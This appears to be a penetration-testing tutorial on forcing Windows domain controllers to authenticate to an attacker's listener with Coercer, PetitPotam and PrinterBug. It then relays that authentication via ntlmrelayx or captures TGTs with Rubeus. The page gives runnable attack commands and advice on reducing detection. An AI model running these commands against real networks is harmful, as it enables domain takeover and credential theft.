# Coercer and PetitPotam — Active Directory Coercion Frameworks

> Exploits Windows authentication coercion via MS-EFSRPC and other RPC protocols to force machine account credential relay attacks in AD environments.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/ad-coercion-with-coercer-and-petitpotam
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-05-06
- **Updated:** 2026-08-11

Coercion forces a Windows machine to initiate outbound NTLM authentication to a host you control. The target is typically a domain controller or server: coercing its machine account is what gives the attack weight. When that authentication lands on your listener, two paths open: relay it onward to LDAP, SMB, or ADCS to gain impact without ever cracking a password, or receive it on an unconstrained delegation host to extract a full TGT for the coerced machine.

The tools covered here are the trigger mechanisms. What you do with the arriving authentication is a separate decision: see [NTLM Relay](https://hackindex.io/platforms/active-directory/exploitation/ad-ntlm-relay) and [Unconstrained Delegation Abuse](https://hackindex.io/platforms/active-directory/exploitation/unconstrained-delegation-abuse) for those workflows.

Coercion protocols covered on this page:

- MS-RPRN (PrinterBug): requires Print Spooler running on target, needs domain credentials
- MS-EFSR (PetitPotam): unauthenticated on unpatched hosts, authenticated on patched
- Coercer: unified framework wrapping MS-RPRN, MS-EFSR, MS-FSRVP, MS-DFSNM

## **Coercer: unified coercion framework**

Coercer wraps every major coercion technique (MS-RPRN, MS-EFSR, MS-FSRVP, MS-DFSNM, and others) into a single tool with consistent syntax. Rather than running each protocol manually, Coercer probes the target and fires whichever methods succeed. The `scan` mode checks availability without triggering outbound authentication, which matters when you want to identify working methods before making noise.

GitHub: [https://github.com/p0dalirius/Coercer](https://github.com/p0dalirius/Coercer)

```bash
pipx install coercer
```

#### **Scan for available coercion methods**

```bash
coercer scan -t $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN
# [+] MS-RPRN: RpcRemoteFindFirstPrinterChangeNotification - available
# [+] MS-EFSR: EfsRpcOpenFileRaw - available
# [+] MS-FSRVP: IsPathShadowCopied - available
# [-] MS-DFSNM: NetrDfsAddStdRoot - not available
```

Scan mode identifies which methods the target responds to. Pick one or let Coercer fire all available methods when you run coerce.

#### **Coerce authentication toward your listener**

```bash
# Password authentication
coercer coerce -t $TARGET_IP -l $LHOST -u $USER -p $PASSWORD -d $DOMAIN

# Pass-the-Hash
coercer coerce -t $TARGET_IP -l $LHOST -u $USER -H $NTHASH -d $DOMAIN
# [+] MS-RPRN: RpcRemoteFindFirstPrinterChangeNotification - success
# [+] Incoming authentication expected on 10.10.10.20
```

Coercer with no method filter tries every available protocol in sequence. This is noisy: each attempted method generates authentication events on the target. Use scan first, then coerce with `--filter-method` to limit to a single confirmed technique if noise is a concern.

Before running `coerce`, start your listener on `$LHOST`. Use Responder to capture the arriving hash for offline cracking, or ntlmrelayx to relay it onward. When relaying, disable SMB and HTTP in Responder so ntlmrelayx receives the connection.

> [!WARNING]
> Responder's LLMNR/NBT-NS poisoning is prohibited in the OSCP exam. Coercion (Coercer, PetitPotam) plus ntlmrelayx is the exam-safe trigger: capture the coerced hash with a plain SMB listener rather than Responder poisoning mode. Verify exam rules before use.

## **PetitPotam: MS-EFSRPC coercion**

PetitPotam abuses the MS-EFSRPC protocol (Encrypting File System Remote) to force outbound authentication. It has two modes: unauthenticated and authenticated. The unauthenticated variant is blocked by KB5005413 on patched systems. Most modern environments have this patch applied, so treat the authenticated variant as the default approach.

GitHub: [https://github.com/topotam/PetitPotam](https://github.com/topotam/PetitPotam)

```bash
# Unauthenticated: only works on unpatched targets (pre-KB5005413)
python3 PetitPotam.py $LHOST $TARGET_IP

# Authenticated: works on patched targets, requires domain credentials
python3 PetitPotam.py -u $USER -p $PASSWORD -d $DOMAIN $LHOST $TARGET_IP
# [+] Sending auth request
# [+] Triggered RPC call - incoming authentication expected on 10.10.10.20
```

Always try the authenticated variant first in current engagements. The unauthenticated path is included for completeness but should not be the primary assumption.

## **PrinterBug: MS-RPRN coercion**

PrinterBug abuses the Print Spooler service via MS-RPRN. The `RpcRemoteFindFirstPrinterChangeNotification` call forces the target to authenticate to an arbitrary host. Requires Print Spooler running on the target and any valid domain credentials.

#### **Check if Print Spooler is running**

```bash
nxc smb $TARGET_IP -u $USER -p $PASSWORD -M spooler
# SMB  10.10.10.10  445  DC01  [+] Spooler service enabled on DC01
#
```

#### **Trigger coercion via [printerbug.py](http://printerbug.py)**

printerbug.py is part of the krbrelayx toolset from [https://github.com/dirkjanm/krbrelayx](https://github.com/dirkjanm/krbrelayx).

```bash
python3 printerbug.py $DOMAIN/$USER:$PASSWORD@$TARGET_IP $LHOST
# [*] Triggering authentication via MS-RPRN RpcRemoteFindFirstPrinterChangeNotification...
# [*] Connecting to ncacn_np:10.10.10.10[\pipe\spoolss]
# [+] Triggered RPC call - incoming authentication expected on 10.10.10.20
```

Print Spooler is disabled by default on Windows Server 2019 and later. On older environments and some DCs it remains active. Coercer covers this same protocol under MS-RPRN: if Coercer scan confirms MS-RPRN is available, printerbug.py is an equivalent manual trigger.

## **What to do with the coerced authentication**

Once authentication arrives at `$LHOST`, the two main paths are NTLM relay and TGT theft.

### **NTLM relay**

Run ntlmrelayx on `$LHOST` before triggering coercion. The relay receives the incoming authentication and forwards it to the configured target service.

```bash
# Relay to LDAPS: escalate privileges via RBCD or account modification
impacket-ntlmrelayx -t ldaps://$DC_IP --escalate-user $USER

# Relay to ADCS web enrollment: certificate request (ESC8)
impacket-ntlmrelayx -t http://$CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'
```

Then trigger coercion with any of the tools above. The arriving machine account authentication is relayed before the originating host can complete the exchange.

For relay target selection, signing requirements, and full relay chains including DCSync via ADCS, see [NTLM Relay](https://hackindex.io/platforms/active-directory/exploitation/ad-ntlm-relay) and [SMB NTLM Relay](https://hackindex.io/services/smb/exploitation/ntlm-relay).

### **TGT theft via unconstrained delegation**

If `$LHOST` is a machine configured for unconstrained delegation, incoming Kerberos authentication includes the coerced machine's TGT embedded in the service ticket. Rubeus running on that host can extract it from memory.

```powershell
# On the unconstrained delegation host: monitor for incoming TGTs
Rubeus.exe monitor /interval:1 /nowrap
```

Trigger coercion after starting the monitor. When the DC authenticates to your unconstrained delegation host, Rubeus captures the TGT. That ticket can be injected and used for DCSync or other operations as the DC machine account.

For the full workflow, see Unconstrained Delegation Abuse.

## **OPSEC**

Every coercion attempt generates authentication events on the target. MS-RPRN triggers Event ID 4624 on the DC when Spooler initiates outbound authentication. Running Coercer without filtering tries multiple protocols in sequence: each attempt is a separate authentication event and RPC call logged on the target.

Use scan mode before coercing to identify which single method works, then coerce with a targeted method rather than letting Coercer iterate through everything. One clean trigger is harder to correlate than a sequence of failed RPC calls followed by a successful one.

## References

- [https://github.com/p0dalirius/Coercer](https://github.com/p0dalirius/Coercer) - Multi-protocol coercion tool covering MS-RPRN, MS-EFSR, MS-FSRVP, MS-DFSNM
- [- https://github.com/topotam/PetitPotam | PetitPotam | MS-EFSRPC coercion, authenticated and unauthenticated variants](https://github.com/topotam/PetitPotam) - MS-EFSRPC coercion, authenticated and unauthenticated variants
- [- https://github.com/dirkjanm/krbrelayx | krbrelayx | printerbug.py MS-RPRN coercion tool](https://github.com/dirkjanm/krbrelayx) - printerbug.py MS-RPRN coercion tool